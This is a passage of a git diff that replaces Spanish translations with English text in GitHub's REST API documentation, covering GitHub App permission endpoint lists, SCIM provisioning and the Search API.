/user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write) - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write) {% endif %} -### Permiso sobre los "informes de problemas" +### Permission on "issues" -Los informes de problemas y las solicitudes de extracción están estrechamente relacionadas. Para obtener más información, consulta la sección "[Listar informes de problemas asignados al usuario autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)". Si tu GitHub App tiene permisos sobre los informes de problemas pero no los tiene en las solicitudes de extracción, entonces estas terminales se limitaran a los informes de problemas. Se filtrarán las terminales que devuelvan tanto informes de problemas como solicitudes de extracción. Las terminales que permitan operaciones tanto en los informes de problemas como en las solicitudes de extracción se restringirán a los informes de problemas únicamente. +Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues. - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read) - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write) @@ -497,17 +502,17 @@ Los informes de problemas y las solicitudes de extracción están estrechamente - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) -_Asignatarios_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_Eventos_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) -_Etiquetas_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -519,7 +524,7 @@ _Etiquetas_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_Hitos_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -527,7 +532,7 @@ _Hitos_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_Reacciones_ +_Reactions_ - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read) @@ -544,15 +549,15 @@ _Reacciones_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -### Permiso sobre las "llaves" +### Permission on "keys" -_Claves_ +_Keys_ - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read) - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write) - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read) - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write) -### Permiso sobre los "miembros" +### Permission on "members" {% ifversion fpt -%} - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write) @@ -587,14 +592,14 @@ _Claves_ {% endif %} {% ifversion fpt or ghec %} -_Invitaciones_ +_Invitations_ - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read) - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write) - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read) - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read) {% endif %} -_Miembros de la organización_ +_Organization members_ - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write) - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read) - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write) @@ -605,13 +610,13 @@ _Miembros de la organización_ - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read) - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write) -_Miembros del equipo_ +_Team members_ - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read) - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read) - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write) - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write) -_Equipos_ +_Teams_ - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read) - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write) - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read) @@ -629,7 +634,7 @@ _Equipos_ - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read) -### Permiso sobre la "administración de la oprganización" +### Permission on "organization administration" - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write) {% ifversion fpt -%} @@ -642,11 +647,11 @@ _Equipos_ - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write) {% endif %} -### Permisos para "eventos organizacionales" +### Permission on "organization events" - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read) -### Permiso sobre los "ganchos de la organización" +### Permission on "organization hooks" - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read) - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write) @@ -655,11 +660,11 @@ _Equipos_ - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write) - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write) -_Equipos_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion ghes %} -### Permiso sobre los "ganchos de pre-recepción de la organización" +### Permission on "organization pre receive hooks" - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read) - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read) @@ -667,7 +672,7 @@ _Equipos_ - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write) {% endif %} -### Permiso sobre los "proyectos de la organización" +### Permission on "organization projects" - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write) - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) @@ -688,7 +693,7 @@ _Equipos_ - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write) {% ifversion fpt or ghec %} -### Permiso sobre el "bloqueo de usuarios de la organización" +### Permission on "organization user blocking" - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read) - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read) @@ -696,7 +701,7 @@ _Equipos_ - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write) {% endif %} -### Permiso sobre las "páginas" +### Permission on "pages" - [`GET /repos/:owner/:repo/pages`](/rest/reference/repos#get-a-github-pages-site) (:read) - [`POST /repos/:owner/:repo/pages`](/rest/reference/repos#create-a-github-pages-site) (:write) @@ -710,9 +715,9 @@ _Equipos_ - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/repos#get-a-dns-health-check-for-github-pages) (:write) {% endif %} -### Permiso sobre las "solicitudes de extracción" +### Permission on "pull requests" -Las solicitudes de cambios y las propuestas tienen una relación estrecha. Si tu GitHub App tiene permisos sobre las solicitudes de extracción pero no sobre los informes de problemas, estas terminales se limitarán a las solicitudes de extracción. Se filtrarán las terminales que devuelvan tanto informes de problemas como solicitudes de extracción. Las terminales que permitan operaciones tanto en solicitudes de extracción como en informes de problemas se restringirán a las solicitudes de extracción únicamente. +Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests. - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read) @@ -738,18 +743,18 @@ Las solicitudes de cambios y las propuestas tienen una relación estrecha. Si tu - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write) -_Asignatarios_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_Eventos_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write) -_Etiquetas_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -761,7 +766,7 @@ _Etiquetas_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_Hitos_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -769,7 +774,7 @@ _Hitos_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_Reacciones_ +_Reactions_ - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) @@ -787,12 +792,12 @@ _Reacciones_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -_Revisores solicitados_ +_Requested reviewers_ - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write) -_Revisiones_ +_Reviews_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write) - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read) @@ -801,11 +806,11 @@ _Revisiones_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read) - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write) -### Permiso en "perfil" +### Permission on "profile" - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write) -### Permisos sobre los "ganchos del repositorio" +### Permission on "repository hooks" - [`GET /repos/:owner/:repo/hooks`](/rest/reference/repos#list-repository-webhooks) (:read) - [`POST /repos/:owner/:repo/hooks`](/rest/reference/repos#create-a-repository-webhook) (:write) @@ -816,7 +821,7 @@ _Revisiones_ - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read) {% ifversion ghes %} -### Permiso sobre los "ganchos de pre-recepción del repositorio" +### Permission on "repository pre receive hooks" - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read) - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read) @@ -824,7 +829,7 @@ _Revisiones_ - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write) {% endif %} -### Permiso sobre los "proyectos del repositorio" +### Permission on "repository projects" - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write) @@ -845,11 +850,11 @@ _Revisiones_ - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read) - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write) -_Equipos_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion fpt or ghec %} -### Permiso sobre los "secretos" +### Permission on "secrets" - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read) - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read) @@ -868,14 +873,14 @@ _Equipos_ {% endif %} {% ifversion fpt or ghes > 3.0 or ghec %} -### Permiso en las "alertas de escaneo de secretos" +### Permission on "secret scanning alerts" - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read) - [`PATCH /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (:write) {% endif %} -### Permiso sobre los "eventos de seguridad" +### Permission on "security events" - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read) @@ -896,34 +901,39 @@ _Equipos_ {% endif -%} {% ifversion fpt or ghes or ghec %} -### Permiso sobre los "ejecutores auto-hospedados" +### Permission on "self-hosted runners" - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write) - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read) - [`GET /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (:write) - [`DELETE /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (:write) +- [`GET /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (:read) +- [`POST /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (:write) +- [`PUT /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write) {% endif %} -### Permiso sobre "un archivo" +### Permission on "single file" - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read) - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write) - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write) -### Permiso sobre el "marcar con una estrella" +### Permission on "starring" - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read) - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write) - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write) -### Permiso sobre los "estados" +### Permission on "statuses" - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) (:read) - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/repos#list-commit-statuses-for-a-reference) (:read) - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/repos#create-a-commit-status) (:write) -### Permiso sobre los "debates de equipo" +### Permission on "team discussions" - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read) - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write) diff --git a/translations/es-ES/content/rest/reference/repos.md b/translations/es-ES/content/rest/reference/repos.md index 2c1c4fa314..ca85509c37 100644 --- a/translations/es-ES/content/rest/reference/repos.md +++ b/translations/es-ES/content/rest/reference/repos.md @@ -21,12 +21,6 @@ miniTocMaxHeadingLevel: 3 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %} ## Autolinks -{% tip %} - -**Note:** The Autolinks API is in beta and may change. - -{% endtip %} - To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)." {% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API. diff --git a/translations/es-ES/content/rest/reference/scim.md b/translations/es-ES/content/rest/reference/scim.md index 0e3480037d..4a0c019786 100644 --- a/translations/es-ES/content/rest/reference/scim.md +++ b/translations/es-ES/content/rest/reference/scim.md @@ -1,6 +1,6 @@ --- title: SCIM -intro: 'Puedes controlar y administrar el accesp de tus miembros de la organización de {% data variables.product.product_name %} utilizando la API de SCIM.' +intro: 'You can control and manage your {% data variables.product.product_name %} organization members access using SCIM API.' redirect_from: - /v3/scim versions: @@ -11,41 +11,41 @@ topics: miniTocMaxHeadingLevel: 3 --- -### Aprovisionamiento de SCIM para las Organizaciones +### SCIM Provisioning for Organizations -Los proveedores de identidad (IdP) habilitados para SCIM utilizan la API de SCIM para automatizar el aprovisionamiento de la membrecía de las organizaciones de {% data variables.product.product_name %}. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). La terminal de SCIM de {% data variables.product.product_name %} que deben utilizar los IdP es: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`. +The SCIM API is used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.product_name %} organization membership. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). The {% data variables.product.product_name %} SCIM endpoint that an IdP should use is: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`. {% note %} -**Notas:** - - La API de SCIM se encuentra disponible únicamente para las organizaciones de [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) que cuentan con el [SSO de SAML](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) habilitado. {% data reusables.scim.enterprise-account-scim %} Para obtener más información sobre SCIM, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)". - - La API de SCIM no puede utilizarse con {% data variables.product.prodname_emus %}. +**Notes:** + - The SCIM API is available only to organizations on [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) with [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) enabled. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)." + - The SCIM API cannot be used with {% data variables.product.prodname_emus %}. {% endnote %} -### Autenticar las llamadas a la API de SCIM +### Authenticating calls to the SCIM API -Debes autenticarte como un propietario de una organización de {% data variables.product.product_name %} para utilizar la API de SCIM. La API espera que se incluya un token [Portador de OAuth 2.0](/developers/apps/authenticating-with-github-apps) en el encabezado `Authorization`. También puedes utilizar un token de acceso personal, pero primero debes [autorizarlo para su uso con tu orgnización que cuenta con el SSO de SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). +You must authenticate as an owner of a {% data variables.product.product_name %} organization to use its SCIM API. The API expects an [OAuth 2.0 Bearer](/developers/apps/authenticating-with-github-apps) token to be included in the `Authorization` header. You may also use a personal access token, but you must first [authorize it for use with your SAML SSO organization](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). -### Mapeo de los datos de SAML y de SCIM +### Mapping of SAML and SCIM data -El IdP de SAML y el cliente de SCIM deben utilizar valores coincidentes de `NameID` y `userName` para cada usuario. Esto le permite al usuario que se autentica mediante SAML el poder enlazarse con su identidad aprovisionada de SCIM. +The SAML IdP and the SCIM client must use matching `NameID` and `userName` values for each user. This allows a user authenticating through SAML to be linked to their provisioned SCIM identity. -### Atributos de Usuario de SCIM compatibles +### Supported SCIM User attributes -| Nombre | Type | Descripción | -| ---------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `userName` | `secuencia` | El nombre de usuario para el usuario. | -| `name.givenName` | `secuencia` | El primer nombre del usuario. | -| `name.lastName` | `secuencia` | El apellido del usuario. | -| `emails` | `arreglo` | Lista de correos electrónicos del usuario. | -| `externalId` | `secuencia` | El proveedor de SAML genera este identificador, el cual utiliza como una ID única para empatarla contra un usuario de GitHub. Puedes encontrar la `externalID` de un usuario ya sea con el proveedor de SAML, o utilizando la terminal de [Listar las identidades aprovisionadas de SCIM](#list-scim-provisioned-identities) y filtrando otros atributos conocidos, tales como el nombre de usuario de GitHub o la dirección de correo electrónico de un usuario. | -| `id` | `secuencia` | Identificador que genera la terminal de SCIM de GitHub. | -| `active` | `boolean` | Se utiliza para indicar si la identidad está activa (true) o si debe desaprovisionarse (false). | +Name | Type | Description +-----|------|-------------- +`userName`|`string` | The username for the user. +`name.givenName`|`string` | The first name of the user. +`name.lastName`|`string` | The last name of the user. +`emails` | `array` | List of user emails. +`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address. +`id` | `string` | Identifier generated by the GitHub SCIM endpoint. +`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false). {% note %} -**Nota:** Las URL de terminal para la API de SCIM distinguen entre mayúsculas y minúsculas. Por ejemplo, la primera letra en la terminal `Users` debe ponerse en mayúscula: +**Note:** Endpoint URLs for the SCIM API are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized: ```shell GET /scim/v2/organizations/{org}/Users/{scim_user_id} diff --git a/translations/es-ES/content/rest/reference/search.md b/translations/es-ES/content/rest/reference/search.md index 935f694360..99d4a14e4f 100644 --- a/translations/es-ES/content/rest/reference/search.md +++ b/translations/es-ES/content/rest/reference/search.md @@ -1,6 +1,6 @@ --- -title: Buscar -intro: 'La API de búsqueda de {% data variables.product.product_name %} te permite buscar el elemento específico eficientemente.' +title: Search +intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.' redirect_from: - /v3/search versions: @@ -13,109 +13,125 @@ topics: miniTocMaxHeadingLevel: 3 --- -La API de Búsqueda te ayuda a buscar el elemento específico que quieres encontrar. Por ejemplo, puedes buscar un usuario o un archivo específico en el repositorio. Tómalo como el simil de realizar una búsqueda en Google. Se diseñó para ayudarte a encontrar el resultado exacto que estás buscando (o tal vez algunos de los resultados que buscas). Tal como la búsqueda en Google, a veces quieres ver algunas páginas de los resultados de búsqueda para que puedas encontrar el elemento que mejor satisfaga tus necesidades. Para satisfacer esta necesidad, la API de Búsqueda de {% data variables.product.product_name %} proporciona **hasta 1,000 resultados por búsqueda**. +The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**. -Puedes delimitar tu búsqueda utilizando consultas. Para aprender más sobre la sintaxis de las consultas de búsqueda, dirígete a "[Construir una consulta de búsqueda](/rest/reference/search#constructing-a-search-query)". +You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)." -### Clasificar los resultados de la búsqueda +### Ranking search results -A menos de que se proporcione algún otro tipo de opción como parámetro de consulta, los resultados se clasificarán de acuerdo a la exactitud de la coincidencia en orden descendente. Varios factores se combinan para impulsar el elemento más relevante hasta arriba de la lista de resultados. +Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list. -### Limite de tasa +### Rate limit -La API de Búsqueda tiene un límite de tasa personalizado. Para las solicitudes que utilizan [Autenticación Básica](/rest#authentication), [OAuth](/rest#authentication), o [secreto e ID de cliente](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), puedes hacer hasta 30 solicitudes por minuto. Para las solicitudes sin autenticar, el límite de tasa te permite hacer hasta 10 por minuto. +The Search API has a custom rate limit. For requests using [Basic +Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client +ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to +30 requests per minute. For unauthenticated requests, the rate limit allows you +to make up to 10 requests per minute. 